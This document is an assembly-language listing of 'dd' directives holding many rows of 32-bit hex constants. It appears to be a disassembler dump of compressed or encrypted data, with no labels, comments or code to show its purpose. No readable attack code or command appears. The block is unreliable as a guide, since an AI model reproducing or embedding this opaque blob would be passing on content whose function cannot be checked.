dd 4A6450E9h, 2AD39233h, 0DFA4F3Fh, 6AE0E181h, 0D79CF00Ah
dd 0C87601F4h, 0E114B85Fh, 5706076Ah, 15D156BFh, 0E1C6471Ch
dd 68002AA7h, 1F9726F9h, 1EE90D32h, 763320DFh, 8D3AF828h
dd 5296C14Fh, 5EA99D0Ch, 0EC9518A2h, 59C86748h, 35E66814h
dd 8EE9C23Bh, 31E90C45h, 690D06DAh, 9C692953h, 5BA65810h
dd 0F0FDB0CDh, 80D2C860h, 0F578305Ah, 27C5EF2Ch, 0F69724CFh
dd 0A12560B9h, 54985452h, 53356812h, 0E9F055ACh, 0AC40344h
dd 0D1E3C828h, 530B2C02h, 0C4D1B0B3h, 51403A37h, 7A88EAB1h
dd 30591FCCh, 1781A4E3h, 0F2C2B575h, 0A5ED6BA2h, 0EA49110Ah
dd 9FB057F7h, 0A6B5D366h, 133D482h, 70B9515Ah, 6027C611h
dd 7B0508E1h, 0CB010622h, 0CDBFCC81h, 558C8704h, 9FA7F368h
dd 28AB0B8Ch, 8DF55E21h, 0DC46FCAAh, 0A36096AAh, 38D42261h
dd 566802ABh, 54598820h, 1A51668Ah, 0A66BEF04h, 0EF80586Fh
dd 4839699Fh, 7C27C517h, 0F75A3C84h, 2086762Bh, 0D1020A7Dh
dd 8F6852E2h, 8ACA5931h, 8BCF3E25h, 0CDD1B735h, 0A154568Ah
dd 67D65E9Fh, 92B7A057h, 0C942B83Bh, 1F7EDA32h, 0CF7DFAEDh
dd 5D89012Bh, 64AD13D9h, 52A8BC52h, 70A4D712h, 0B1108051h
dd 209E07E9h, 0CBA4571Eh, 0C96F780Eh, 1EA6F81Ah, 565097E7h
dd 1CB90142h, 0F96A0F7Ch, 0FCB944D7h, 0B3CA5B70h, 0B580C85Eh
dd 8C2AFB41h, 6C9D5CCAh, 0A4BA2B0Fh, 82521294h, 0D3F354E2h
dd 0C9F85045h, 28D31EA4h, 3BCA2A97h, 48E5F6E5h, 924B206h
dd 0B0745231h, 0A0B49672h, 80A73157h, 6813BFB5h, 0F1F67252h
dd 0F8C06225h, 5B4CFD30h, 18C774FEh, 58B468F9h, 87C411BCh
dd 0BD590FF1h, 8F0D57CCh, 489B3CEEh, 8A6FAEh, 5E5C0FA2h
dd 0ECE7F089h, 0F49EF20Ah, 0C8FE0880h, 0E4F58851h, 4E5598C6h
dd 48E18E2Eh, 71DA308Eh, 0B01B252h, 8B1F280h, 0E0C0C503h
dd 0E27534A9h, 90CC045Dh, 617A08E1h, 48B30F9Bh, 0A340E2D8h
dd 61010968h, 925046DBh, 7A67D770h, 0C619BF72h, 82E3FA70h
dd 51B08F40h, 0A62B8C3Dh, 96B0AFE0h, 19EAC06Eh, 0ACAFE05h
dd 0A5944407h, 0C0F5F52Ch, 8F61797h, 94B5AB92h, 0D4EA90CAh
dd 1F10D49Bh, 0F7311F4Fh, 1C856453h, 0C45ED6E3h, 1C62EB82h
dd 734556CFh, 30EBB4h, 0BC4EE6E9h, 7B5866F4h, 6277B0B0h
dd 435819B8h, 8660356h, 0ABE9F15Ah, 2C241EF8h, 7C0E459h
dd 0C6D8288Dh, 6816125Bh, 0FC272D3Ch, 0C6A8CA74h, 80BDB7C0h
dd 0FE3A37CFh, 1EF782C7h, 4008EFC0h, 90280134h, 0A2049D40h
dd 580B83F4h, 51121579h, 0F6178EB5h, 0C55B350Eh, 0F2BDA7F6h
dd 0ECD283CEh, 6F109207h, 0E15BC5AEh, 77F9182Dh, 5D276368h
dd 0F9D501B1h, 0D7002EF2h, 8A4A9A2Dh, 0D0291451h, 5A3B0705h
dd 0EF17DE01h, 7C6DE914h, 5EBD2EB6h, 0E1D52CC5h, 0FA84FFA9h
dd 0A1CCCC5Fh, 16418BBFh, 0E91CED18h, 46DF0625h, 0B8EDE522h
dd 851F5C55h, 6802ED81h, 967C6D42h, 9415E985h, 3ED1ACE0h
dd 0EE714B5Ch, 0DE6C10E9h, 58F08A5Bh, 67623108h, 0E202454h
dd 0A756965Fh, 0D5E9B0C0h, 0CB275A9Ch, 397D5F2Dh, 0E3222A50h
dd 81A170E2h, 83879899h, 9B29685Bh, 11020373h, 422D6E7Ch
dd 97F0504Ah, 109FB16Ch, 4180E953h, 9E3D3066h, 4DB87C17h
dd 37AC5984h, 10BA8720h, 3FBD5512h, 57181E04h, 6CCF8780h
dd 0BF2B1DB5h, 2C1680C5h, 315BDF29h, 0BFE9CC95h, 0C8CB0B0Fh
dd 0DCDA33BBh, 0BD1FD7AEh, 73CF28A8h, 0F5801CFEh, 0B8EDC213h
dd 0BC5CFAE9h, 1E596804h, 9A1FB8D8h, 92053CC0h, 2D6B8801h
dd 0F201188Bh, 0F698A956h, 0B9FF663Fh, 0A16E0D66h, 20643B78h
dd 94A57585h, 16DD9A2Ah, 0F791F9F7h, 0FE00AEF8h, 0C65080CEh
dd 0BC4033D0h, 18D405BAh, 0AC01107Ah, 132F205Fh, 0B0DB2C5Bh
dd 5762A2E4h, 1B6CB6DBh, 0B5D495C2h, 8230CC69h, 92D1F9ADh
dd 58A3F07Ch, 71499BB1h, 0F805E018h, 1B5C455Bh, 25A749C3h
dd 0FE86145Fh, 67676A79h, 3E263C0Ch, 20BAD2Eh, 339091F1h
dd 441CE913h, 0C3DDF66Eh, 0A3D32959h, 0D34E37BEh, 80588B20h
dd 0D7C15FC3h, 0D6825B44h, 0AC0132B5h, 92E00B04h, 2CE993E6h
dd 0C089A112h, 27235F8Dh, 7D0CEFFCh, 40F53410h, 6E1D43Fh
dd 0C7CFC473h, 4769C058h, 54142D53h, 16C4F281h, 4B015FC9h
dd 0BE43B43h, 27D7E9A9h, 574EDFECh, 5DA0A13h, 0FD098C5Ah
dd 68454626h, 1B41220Bh, 84F41A31h, 2FD6E4CAh, 0DABB96B0h
dd 25FB5C40h, 8CA9D617h, 19669B80h, 5A20D1C9h, 6848028Ah
dd 3EA97F0Eh, 0A7F7CB87h, 6D095B15h, 88526B60h, 2025CE4Ch
dd 0D8012FEBh, 0D22A34EEh, 329D3146h, 52C3C280h, 6EB04CAh
dd 0AD77B817h, 8B084195h, 91666272h, 0D33BD1B4h, 6225CFE2h
dd 8B0E0590h, 8E25DEF9h, 385CA9C9h, 5835275Bh, 93DBB345h
dd 0E6FD655Bh, 0F7037C6Fh, 2921BB79h, 8A040D3h, 0D4CC30E9h
dd 1D4BC14Fh, 2295B5E2h, 2E16EE5h, 0EE655E54h, 0D168A9ADh
dd 96E99DE1h, 0ED442907h, 2F7625FBh, 0F9E5538Dh, 5CB6B570h
dd 0FA1007CCh, 0DBE98234h, 2DFFA0A8h, 52A6C97h, 63403568h
dd 0D872C253h, 5650F9F4h, 72910268h, 8FE97D4Eh, 310EDF54h
dd 0B37E4C5h, 0AC0D54EFh, 0D81E9838h, 0A222E5Bh, 0A59855E9h
dd 0C7C16062h, 38923DECh, 22A4905Dh, 8018451h, 0B348F9E9h
dd 0CC5867C3h, 20E8B5C0h, 2B9DC5D1h, 9916CE3Dh, 0E5AD596Fh
dd 2DC7DDDDh, 4A10B924h, 0BBB551C4h, 0EE23DBD2h, 0D7F5054Fh
dd 17922947h, 0FD8BF5E2h, 5057341Dh, 726EEBB1h, 59441A56h
dd 26B81431h, 5C7CA96h, 73582E6Bh, 3BB79AE0h, 54DC652Dh
dd 9314DB25h, 1E3CD32Ch, 0A59E508Ch, 0A72201EDh, 0EE31A96Fh
dd 0B791605Dh, 3B301FF0h, 59E91221h, 70B9C9h, 176C04A5h
dd 0F736CF87h, 4E7008D1h, 0E9D0522Fh, 38341693h, 58810EB2h
dd 11064968h, 0E2070ACAh, 31C028FCh, 668060D2h, 0FBAAC450h
dd 0F4CE409Dh, 0A03B727Ah, 728406B8h, 9DE91304h, 0E5DE571Bh
dd 7C1CD32h, 0E206E132h, 252A746Ah, 3B289CC5h, 7E25752h
dd 9990DA5h, 0ED40E1B5h, 231F2D5Eh, 1370A53h, 90705F8h
dd 0B72F69E9h, 8A02CE88h, 0DE136755h, 2C5E04F9h, 0A0CB8116h
dd 795B03D5h, 0A451582Ah, 4286B52Eh, 904E0BDh, 7A4404FAh
dd 4CA1812h, 7DBA80B2h, 31873209h, 0CA2E7489h, 9580997h
dd 0D07308h, 6F063EFDh
dd 414E3BE9h, 6809DDA7h, 21302CD4h, 67283099h, 44FEE602h
dd 5B8C084Ah, 854818A5h, 0A2AE00Eh, 814E0738h, 821B951h
dd 0E1F425FBh, 267518F7h, 10CD0C74h, 0C12B7605h, 0C10B06E9h
dd 0A48BE008h, 9783E463h, 520F05C3h, 81F88DFBh, 43E9F129h
dd 9040D76Ch, 81BA4075h, 671AF604h, 18ABD9D6h, 0C0E906D2h
dd 4A4DAF5Fh, 772A2D2Bh, 424ED297h, 0F287A055h, 0A8C208CFh
dd 1A490393h, 24F386Bh, 0B9BB3741h, 2B4C8042h, 0EB31682Fh
dd 0CDC905Dh, 1B3E6033h, 0AC414F98h, 1B58A927h, 0AC48D989h
dd 641EAFF2h, 29D54315h, 2FB416E2h, 0EEB7187h, 8059C05Eh
dd 25E9C8EEh, 0F4F2B9A7h, 8F09FB83h, 8508EBC1h, 0C071CDh
dd 0B0D9895Eh, 9BE1071Dh, 0F0774C07h, 8C29E0F1h, 2BDA3060h
dd 0B83EA17Eh, 7BAE096Bh, 88E06644h, 0ABB1616Ch, 73585489h
dd 0BED70870h, 7F05B14h, 0CB640E6h, 0D653C5C2h, 1FE15374h
dd 0B46060Fh, 0B4D7882h, 0E7006070h, 3132B2DEh, 0D6685DEFh
dd 99E7F433h, 79100E72h, 2C2A3C29h, 2870B00Ah, 0EE2C2712h
dd 7EE71F11h, 0D7940945h, 0E6C39FC9h, 3FF00104h, 20C0411Bh
dd 4F0999A9h, 83F70DA6h, 59B76E28h, 0B392BED7h, 0AC7298ADh
dd 6FA2676h, 215F028Dh, 0AC8717E5h, 10EAD3B3h, 36F6E000h
dd 0FD0123C2h, 3865B556h, 6F3D1983h, 0C3CDF078h, 0FEF9616Bh
dd 0F553BEE5h, 4546815Ch, 89B79818h, 97B4B334h, 9FCAFCB3h
dd 537F57D8h, 0CB00094Fh, 123F1B2Dh, 0E8011406h, 825B0705h
dd 29605100h, 1FB2504Ah, 0F516CF9Eh, 812F99F5h, 0EC08EF2Bh
dd 34B41156h, 8B1F33E4h, 0DCE8F944h, 0C95CBDC3h, 48BA19D9h
dd 0F2C0F133h, 1DAF9F8Bh, 0D03D9AC5h, 67F5806Ch, 1D85E095h
dd 0FE5EC7C0h, 2E153C1h, 9D86F1F9h, 92BD0816h, 8105886Ch
dd 28AEF6FDh, 9F6EE813h, 9AF7A616h, 115A480Ah, 53160A20h
dd 6A844DB7h, 5DDBD1C2h, 45572B19h, 0E429ACCDh, 2292A3F2h
dd 7D58551Ah, 0EFE03BB5h, 0CB88B974h, 9F3FC07h, 0ED47FE1h
dd 2D073974h, 0AE81FC5Ah, 183A95E9h, 0D9F6F891h, 5CA9F6C9h
dd 1A7D5218h, 7C466270h, 444F1230h, 0EC4627D9h, 890CB205h
dd 9B7F8506h, 26BD4395h, 750D4E04h, 61388762h, 206EC750h
dd 0B301CDCCh, 521B555Ch, 0C85FBBAh, 0E889E97Bh, 66050100h
dd 5661ED1Eh, 1E22280h, 45E96728h, 0C3CA414Ah, 0C8773A12h
dd 517A565Dh, 0F7A18F4Eh, 0D9FE0941h, 5501B74h, 3140585Fh
dd 0B6C782C7h, 88E9590Bh, 420014E7h, 3238BE56h, 816A0B6Ch
dd 5C8590E6h, 0ED058022h, 72097F25h, 585EF229h, 0DAF7268Bh
dd 3FC201F0h, 200453F3h, 429DF881h, 88235E59h, 0A528A61Eh
dd 3EAF7020h, 5B97E6D1h, 0C3B4E32Ch, 7A0C8268h, 1408BEA3h
dd 327DF7ADh, 221B3CD9h, 5417797Ch, 0CBF4CD99h, 0C034C7B8h
dd 0E763BEEFh, 0C3B28007h, 274B8076h, 923933F1h, 377643h
dd 3826707Bh, 126E94Bh, 76476FE1h, 0BA1B1F30h, 310BC34Ah
dd 0DA1058C2h, 0BE4CB9B6h, 0C8118062h, 25950888h, 0F15863D8h
dd 277C3D77h, 40754202h, 9F3F963Fh, 2722CAECh, 5687820Fh
dd 0A9AF0B71h, 0D3628D56h, 47CF749Bh, 36CDC755h, 52D525Eh
dd 46A2D143h, 33B70D15h, 74BBB4F7h, 8A940E0Ch, 129667Fh
dd 58E923CFh, 9F9D3AFFh, 4888CB3Eh, 7B005E06h, 8301CBBDh
dd 52503247h, 0C24FB42h, 91238324h, 52B17040h, 0F6E8B60Bh
dd 85AF74DEh, 2C6FED5h, 0F4881F07h, 30516E56h, 0E91F2C6Eh
dd 0F3F14825h, 90688464h, 8B8EA20Ah, 0BD6458Fh, 63E427A8h
dd 0F5015E7Fh, 1A5A418h, 8650E821h, 0B65B5453h, 8172527Eh
dd 8944094Ah, 0EF8006EDh, 0F574FE4Ah, 0AAC7C4F8h, 0C94B7CEAh
dd 16491576h, 0C9A4B45Ch, 0F6098F54h, 0C9213333h, 496EEC41h
dd 91E3B491h, 50665397h, 2A28F4C1h, 611F019h, 2AE2E901h
dd 0C1852684h, 629988E7h, 605902E2h, 2669D87Dh, 0EBF64556h
dd 3EF6581h, 0CE8C7062h, 0EB572F0Bh, 1E3875Ch, 4BBA679Eh
dd 0E9C14907h, 0BB363F24h, 0F4941464h, 0A0BC316h, 5098080Bh
dd 89501271h, 5F0CF0F8h, 0E918EAF4h, 6896F0A1h, 88234EF6h
dd 0CD9757A8h, 2F7DA918h, 2E932C9Ch, 2C15394h, 12BF2279h
dd 0EA907542h, 170EA465h, 3C25E9EFh, 58CA5F38h, 0B0408F69h
dd 0EFD32D82h, 20C63ECh, 440E3726h, 0C813CF80h, 0DC26AED2h
dd 5E09031Eh, 0E99C74DEh, 0C6F64FB2h, 6F30C260h, 2918171Ch
dd 82910CAh, 0F16BE912h, 0D1656E27h, 0E9D830BBh, 25B715EDh
dd 0A8401F21h, 0DE09ADBFh, 7C290536h, 0BB5F0824h, 50963F0Dh
dd 0DCF5D36Bh, 98C2114Ah, 253E7C56h, 0F15A250Bh, 8F81417Ch
dd 5B6FDA89h, 983F7C59h, 0F5C95C8Ah, 96771ED0h, 0D8EACBCDh
dd 0AF2F0652h, 39048EBh, 217D037Fh, 6C24DB8h, 6BCEF1ECh
dd 3254AC0h, 11EC68h, 60F10540h, 0F6351028h, 204A29EAh
dd 781F4E0h, 76A96C5h, 58F5B604h, 70017F02h, 68D1F761h
dd 1E1FF1E4h, 585B2615h, 43A810E1h, 0E970AB04h, 41F4C485h
dd 0F14F58E2h, 0ECC7844Ah, 4F54449h, 312A21E2h, 0D9F0F62Fh
dd 50405216h, 8428C7D6h, 1C28D00Ch, 4458BA90h, 0AECC7084h
dd 5C294977h, 5717454Ah, 1DF95C5h, 0C521D7A5h, 487D7166h
dd 923DB8BAh, 6C29331Ah, 0D758FA06h, 5A0B2033h, 0E695EFE9h
dd 4EEE9042h, 68ADCC3Eh, 51489A2Eh, 90C55465h, 431F3080h
dd 5F7B7CE6h, 0C22C0F5h, 1A50C92Fh, 5D14CB99h, 2EC454A3h
dd 0D0129B30h, 4A96DA00h, 7E017C04h, 841E5EFh, 0A52D565Dh
dd 3B1D884h, 3BACCD80h, 0ED1EA806h, 78F5479Eh, 0F80764C0h
dd 0F1C50393h, 0F177B353h, 0F3E508CBh, 0AC2706BBh, 87311705h
dd 13C61B9Bh, 0C6651E0Bh, 5A6CF0B4h, 0CB65B229h, 0F4188051h
dd 215A27Fh, 36917905h, 0A37E89EFh, 5342E101h, 8A4038F4h
dd 7CF769F0h, 84EE047Ah, 0EEC7AEE9h, 0E431340Bh, 0CA059A7Ah
dd 9A3AF58h, 6E07483Fh, 0E951D107h, 77D73CF0h, 0E15E1B95h
dd 5E2EAD19h, 0F1232A2h, 4FDBE0ABh, 0F2333709h, 90445ED3h
dd 42D5EA92h, 10347948h, 5A3B94F3h, 4B7B74BCh, 432F54Dh
dd 4492413Ah, 6F7AA70Fh, 42511B28h, 0C9B34AB9h, 0FE044D25h
dd 63945Dh, 674C2C8Ch, 6B9F017Dh, 0E62E481Ch, 0E90283E2h
dd 17FFC5Ah, 0C680E628h, 12E967B0h, 75F9D9F5h, 70A068B0h
dd 4216C59Fh, 10D5B375h, 0C9A8EB59h, 977C32C2h, 0C61164EFh
dd 403C7FA4h, 36F85BC1h, 0F324BE5Bh, 0F64882B8h, 3D6B925Eh
dd 9A68B6ABh, 848E8C1h, 2B502C08h, 0A1550DCCh, 0BA145121h
dd 0AAF48056h, 7A66975Fh, 474DD25Bh, 843F6909h, 8E34EF3Bh
dd 57E9B34Fh, 0BF66984Ah, 0A69E8ACFh, 6C685E98h, 0F8EF71F6h
dd 0E17EB2DDh, 3EEA10D7h, 25485298h, 0C17A8D63h, 436EB1E1h
dd 8BEB21EEh, 4A7BCEDDh, 0FD9A28D1h, 54522E8Eh, 0F9F32E6h
dd 4E3348C9h, 15429569h, 50FE94D5h, 0BC52675Ch, 0D7532563h
dd 0D0BCC94Eh, 5767A884h, 398609BFh, 0C7005D9Eh, 202A73C0h
dd 0EEC73124h, 4A42F702h, 0FD5C40B4h, 932CBC5Fh, 89F2D129h
dd 158162F0h, 408F9E96h, 8995E6AAh, 51425EC8h, 355B01D0h
dd 9CF41056h, 8AB90016h, 0C14D3358h, 0D8B013B8h, 0B54A2C00h
dd 0F7F1876Eh, 5108C1D6h, 0FD5E5956h, 80FC5049h, 4AF077E5h
dd 9EB10BDh, 76FD027Fh, 45D5F758h, 54635E41h, 923482E3h
dd 0B8FB4D46h, 0BD5C2B39h, 80B22D3Eh, 2C5A66A6h, 0F669FA49h
dd 260CB58Dh, 0F216C22Eh
dd 0C11D5939h, 8BB534Ah, 0B317DA92h, 42858A1h, 1FE4C526h
dd 41C213D6h, 6F5FBD69h, 0B1C02E04h, 4A656DD1h, 0DA040B28h
dd 20FA81C3h, 0CD2A04DDh, 316863F0h, 74A5547Ah, 835A0333h
dd 50D4C2C3h, 9D14B76Ah, 4200815Fh, 0F5B252ACh, 347C7B2Ch
dd 0EF2005FAh, 62534E5Eh, 0F95C7F82h, 16CD611Ah, 1C0DA4Ch
dd 0B70E1A71h, 4CF1316Ch, 266808CEh, 62406413h, 967514F7h
dd 60E6824Bh, 0F413427Ch, 40CAB00Ch, 0C904819Bh, 677C6D79h
dd 0E17A6A82h, 72826F64h, 117036F9h, 3E4859E0h, 605BD42Fh
dd 0B7FA1A09h, 4268D3A0h, 0BB504B3h, 0E94BC2C8h, 222E2D29h
dd 0BB41E84Ah, 50B828A9h, 36553BC7h, 0C7613BA7h, 5C0191D7h
dd 9AD0A533h, 2BB085BCh, 0F029F442h, 7DA9C25Eh, 3F61CC80h
dd 0BD035675h, 7BCB9F37h, 7F5892E9h, 0B4C1EC10h, 195A520Bh
dd 5375C05Fh, 95757A1Fh, 9501F096h, 311278F8h, 9F215FF9h
dd 0FE264038h, 74E30BE3h, 28930180h, 0C9F25BD9h, 0E93C9C7Ch
dd 59C8812Fh, 0A1049F2Ch, 0D88887CAh, 0F33ECDDEh, 0DC2F8661h
dd 7E02B429h, 289CC380h, 0AC14C3E3h, 0F37AAAA8h, 17191092h
dd 0BFBEC52Dh, 46F86129h, 4AF29CA8h, 5EB910DBh, 0D591F557h
dd 5100F62Ah, 0FE3EC5B5h, 16B003CDh, 0F202E0C0h, 0D667E0D0h
dd 0A4C10C80h, 59316EE9h, 2670F7F2h, 1631F87Bh, 0AB0F5F92h
dd 50EA5F3Bh, 2AB90390h, 0D1612B14h, 3929C917h, 0D185885h
dd 0E8B74319h, 324FF768h, 76DF8F7h, 95D7C70h, 0F1D52959h
dd 215C50DFh, 7234E590h, 2CAE1C40h, 194B82B2h, 17B88E8Ch
dd 0E0A69D7h, 4A56CCE5h, 1242DF76h, 0BFF94074h, 331246BAh
dd 75CA6ABFh, 8F35FD10h, 83F6C026h, 0C6A91A12h, 8309FDC9h
dd 0FD54D8C2h, 595DE978h, 538BA312h, 0A3B48B6Fh, 0BCA7A1C1h
dd 4B5A0405h, 2E74AED4h, 3403DFEh, 0B704CD72h, 0DBF68DB3h
dd 41124082h, 101AE27h, 0CB3232F0h, 0CFD82233h, 41A99A08h
dd 0DEECD57Fh, 22A79AE3h, 59620D4Bh, 8BC8309Dh, 5A465474h
dd 0F81D18F7h, 17DDD3C3h, 0C406A297h, 828CFBE8h, 47E59D5Ah
dd 72F1F689h, 68561390h, 4C7FA329h, 0B9BC7F60h, 0DD69ED81h
dd 853FF932h, 0ED2064ECh, 6A32631Ah, 0F6E311F5h, 0C4E41A17h
dd 0E5150FAFh, 0DA9810B2h, 0A63004B0h, 0A8C28328h, 0B4032A93h
dd 95EC469Dh, 3AF7CCE2h, 7BAECA3Eh, 0D8FAE9D0h, 0D1C20901h
dd 1ADC68E2h, 0FFCC827Ch, 6F482903h, 0A2D0C504h, 0F262D9D7h
dd 0FBFEA59Dh, 0EDFEF20Ch, 0F71A44FAh, 14D7ECAAh, 49DA611Ah
dd 3F5C3368h, 8EE27631h, 1BF75702h, 45B9E159h, 72CACF87h
dd 0C1CE618h, 0AA040A08h, 333C0F1Fh, 50E91A41h, 2162D34h
dd 6FE5105Ah, 5C16021h, 0B0571DC7h, 0B4094113h, 0EA01E4F1h
dd 0D8F0CD42h, 1A9ABE1Eh, 44083C53h, 0E828129Bh, 255E5822h
dd 5ACECEF9h, 8349D1D2h, 58C7A8Eh, 0C51D0797h, 191BB5Bh
dd 655310C6h, 0A5F928C9h, 2934B5F2h, 93B21Ch, 9173C381h
dd 24018C55h, 25425BDDh, 61502E79h, 0E522B436h, 9EA0AC5Ch
dd 0AA99AFF4h, 0B1D3173Fh, 61C56B5Dh, 128AFE8h, 72BD0537h
dd 0C0216635h, 0E253BEF5h, 17C4E34Ah, 7B68B801h, 0C67A44C8h
dd 0BC1FBC32h, 0E985F455h, 691DD660h, 637A1181h, 0AFF4D931h
dd 85FDD319h, 0B524805Fh, 1D7F6759h, 0E1EB9424h, 21685060h
dd 490BB115h, 75A7DB3h, 56C552A2h, 216706BEh, 3E9025F0h
dd 80E34E69h, 693E123Ah, 0ED83305Dh, 6B30E5B0h, 2FA22658h
dd 342EE0E0h, 0C3282831h, 0CA6499Ah, 1259B64Fh, 70656D68h
dd 556CE000h, 6813272h, 0B91204F3h, 0DE130C0Ah, 0CE84A5Dh
dd 0EB021B4Ch, 10DD0C6Eh, 0D1820163h, 0A2CB746h, 5A47D7C7h
dd 0CC301FF2h, 2068F80Eh, 0EEFF7DF8h, 0C689BBA3h, 91DE2C25h
dd 0DBE481D8h, 3C601635h, 0DA51B229h, 0F3B85DCCh, 48998D0Fh
dd 5F935AEBh, 0CDDA127Ah, 2F4521D7h, 970CCA96h, 2FF9D6C4h
dd 1EEEF1D5h, 45DB93A5h, 0FC4F0B10h, 5E4BDA9Dh, 90201BFh
dd 41290833h, 44D301C2h, 0A10B10EEh, 795A1C0Dh, 7CD4D862h
dd 1287F09h, 84008F3h, 14130C34h, 458D6253h, 0ED102621h
dd 0B577CC80h, 30C1AE81h, 0CC8205DCh, 4DC28558h, 9340B355h
dd 70E17CECh, 2C2A838Ch, 83E604DCh, 0DE4EB7D0h, 24B6520Ch
dd 3BC0413Ch, 0B3007BDAh, 1ECB8067h, 0C54D26E9h, 106F58D7h
dd 681C0747h, 693A546h, 241D32C1h, 0C4406D0Ah, 79E6B05Ch
dd 0F7B720A8h, 31DBB07h, 0DB857BCFh, 27278F0Eh, 0D3863765h
dd 25E91B14h, 31B13FBCh, 9C6F8945h, 202EC65Fh, 54768BFCh
dd 3BEFB02Eh, 58745251h, 200948CEh, 0C9019C4Fh, 29E44B2h
dd 0CA17F253h, 0ECA36489h, 7A82B732h, 0A277B586h, 74B6574Dh
dd 2ACCBFF3h, 0E012EC07h, 4D03D91Fh, 5612454Dh, 8507D1F7h
dd 8747B3FEh, 30FB9A55h, 0F3CB803h, 0BF330E00h, 7D3666D7h
dd 8AC74A31h, 7C97481Ah, 0C53E300Ch, 121F6402h, 0E17E717Bh
dd 7D006FE0h, 0A48943EFh, 0B4E914F5h, 0B5A78DC0h, 6B9E545Eh
dd 4F74466Bh, 8012A5BEh, 0CF685B19h, 72F6962Ch, 7925B272h
dd 0F6614EA7h, 0FEADAACEh, 8114936Ch, 3E5758E6h, 535F0D9Ah
dd 0ACC70CD7h, 0F690FE9Fh, 344FD664h, 569422BFh, 189D5CD0h
dd 2BE0578h, 68356C46h, 7BEC7CDEh, 965D9101h, 22E95544h
dd 0BDBB073Ah, 0BE80F93Ch, 0FBFF581h, 41B536F0h, 68CEC18Bh
dd 26074394h, 1B9D0CA0h, 80C41804h, 42D7E956h, 942F8C9Bh
dd 0B754622Eh, 0FD4ABE9h, 0C08C18Fh, 0BB552B98h, 8CBC8A45h
dd 0DD6850D8h, 15F3415Fh, 51B0234h, 0ECB67997h, 81CBDF42h
dd 840B1A07h, 11A04090h, 9D220505h, 9101F0B3h, 6F324A2Dh
dd 0BA5ED28Ch, 4FEC9754h, 0C3B1ECD2h, 0EA2BD93Eh, 98A3622h
dd 8C5BB785h, 723C60CEh, 0B0A55B4Dh, 0A5800804h, 0CF540ADh
dd 3A4BE945h, 0C16E095Ch, 0D3E08D94h, 1D5BC52Ch, 0A9DEB7F4h
dd 801FC42h, 5489F8E9h, 0B8318099h, 294E53EFh, 4DA5A104h
dd 0B5251313h, 0BE9DECC2h, 0E82AFD0h, 0DFCB814Bh, 0DC54F98Bh
dd 0C3BD60CAh, 0B039C0Fh, 4D02EDC1h, 5EA4A481h, 53D500F7h
dd 46B1BF57h, 0CE906D65h, 0D733C09h, 0D0C30041h, 0C05BE22Fh
dd 5ACFF69Ah, 0FB168940h, 3EC1315Fh, 2C3EEAF8h, 29045C50h
dd 1E8568D8h, 0B94A11F3h, 0CFE9091Eh, 82D8FEB9h, 0DD4FFDEFh
dd 0ABE24A60h, 6F207E82h, 0E770F469h, 354362A9h, 0B4013C7Ah
dd 25CDB8CCh, 664292E9h, 447ACFFEh, 0CC554E90h, 430068A1h
dd 5A7BA771h, 0BD18E942h, 0E830AA82h, 6D27D1F8h, 12CE59C8h
dd 0B4E5812Bh, 391860FCh, 3CB675F4h, 1ED1652Fh, 0D5382789h
dd 68244D9h, 954FDBAAh, 3E1E46D0h, 7BB210h, 43D24FC6h
dd 0CF50142h, 235DE95Eh, 2C1ECBD3h, 0C06EC646h, 2DD1072Fh
dd 396272B0h, 0EFD04C01h, 5A010842h, 0C950A72Dh, 0D40C6030h
dd 212CA492h, 11EA35DDh, 8E12A600h, 48EFC140h, 0AA067F03h
dd 0A47C4C5Fh, 0E8221103h, 15F72152h, 0BBA3B098h, 655FE602h
dd 0A3614C41h, 7F5207C5h, 96896688h, 0EA4D2D61h, 0AF44E905h
dd 189172A8h, 0EBA2E9C2h, 7195D966h, 94516471h, 6D12BF05h
dd 5C0DE9CAh, 6B93F121h, 0E909B59Eh, 627C4A10h, 0F518776Dh
dd 119B4BE9h, 68825613h, 866C6957h, 0A7B6B84Bh, 5F6B022Ah
dd 376845A8h, 1A3CBFEAh, 59E54040h, 1CE28C8h, 251FDBBFh
dd 291E3116h, 7A55B16h, 0F9D65288h, 0D6BD5509h, 0BAC640D4h
dd 6A02A640h, 0F2E9EE01h
dd 9C38F748h, 6F13C868h, 16A22EDDh, 0E95AA093h, 0B135B824h
dd 0FFF821C1h, 9597E2A2h, 0E9E3A279h, 503B4839h, 47055848h
dd 0C028B506h, 5F795771h, 0F6C6724Bh, 17CD791Eh, 501951Ah
dd 0B49876EEh, 4E1E06B4h, 6AD426A7h, 0EDEE819Eh, 94208CA2h
dd 1839CD6h, 0D25468BEh, 83AC2545h, 2B4C9168h, 9523527h
dd 0A4D2BC26h, 18634EAh, 4065E4A2h, 20408275h, 608ABF9Ah
dd 2E7FFE36h, 13B87280h, 4892A910h, 0C41414EFh, 2D050957h
dd 7C6E0931h, 0CFD0BA9h, 0D39C0BFCh, 543C14F2h, 57222F09h
dd 0C0013133h, 1E3E07E1h, 0B18BD7C6h, 58C6C0D7h, 3060C2B9h
dd 4ABBE9F0h, 0B3A140D5h, 13CE754h, 417BCB58h, 25303A08h
dd 0A974F068h, 123ABFD1h, 0EC30BB7Eh, 0A166BC5h, 0FD0175B8h
dd 4E0820CDh, 0D9AE125Fh, 18F733B4h, 0AC593742h, 7ED183A6h
dd 7871232Ch, 10778E25h, 0BB65238h, 3DB753D8h, 8DBEC9F8h
dd 6A965E0Ah, 0D0ABAD25h, 5F2FBA2Dh, 0E354D9C4h, 35B053BEh
dd 299C2F03h, 0F1C389D6h, 0A32A41A6h, 2B42057Ah, 0EE814C33h
dd 0C92A0322h, 4A4E2086h, 571BB99Dh, 9AA071F0h, 0F0C07C38h
dd 801FC360h, 60520F1h, 59CA284Bh, 0CC8AB316h, 623C0545h
dd 4C06E982h, 20D28E49h, 0FC176FECh, 0E8C1F37Fh, 5A022EECh
dd 0EAB5BFEEh, 0C194FFEDh, 0EB2DD830h, 3BF52BC6h, 0F6031D78h
dd 3D870597h, 0DBD71804h, 92A6DFF7h, 52CE407Ah, 0DA5B85ECh
dd 93B46F97h, 21410500h, 8E900C28h, 6A58130Bh, 6741A079h
dd 0C12E574Ch, 2669B10Ch, 35F5F038h, 50951F1Ah, 34E00618h
dd 1825BF48h, 4A22FD2Dh, 68D2E40Bh, 0B4416191h, 0EBFC49CFh
dd 0EEE9E971h, 0C54EC963h, 703CBE2Bh, 0E6578201h, 88A8B477h
dd 1058521h, 2CEB5BDEh, 214D2A1Ah, 98CD927Dh, 27FDCA7Bh
dd 2D25E1F4h, 0FCC5942Ah, 20480051h, 0D6892C5Eh, 0BF0AF0E9h
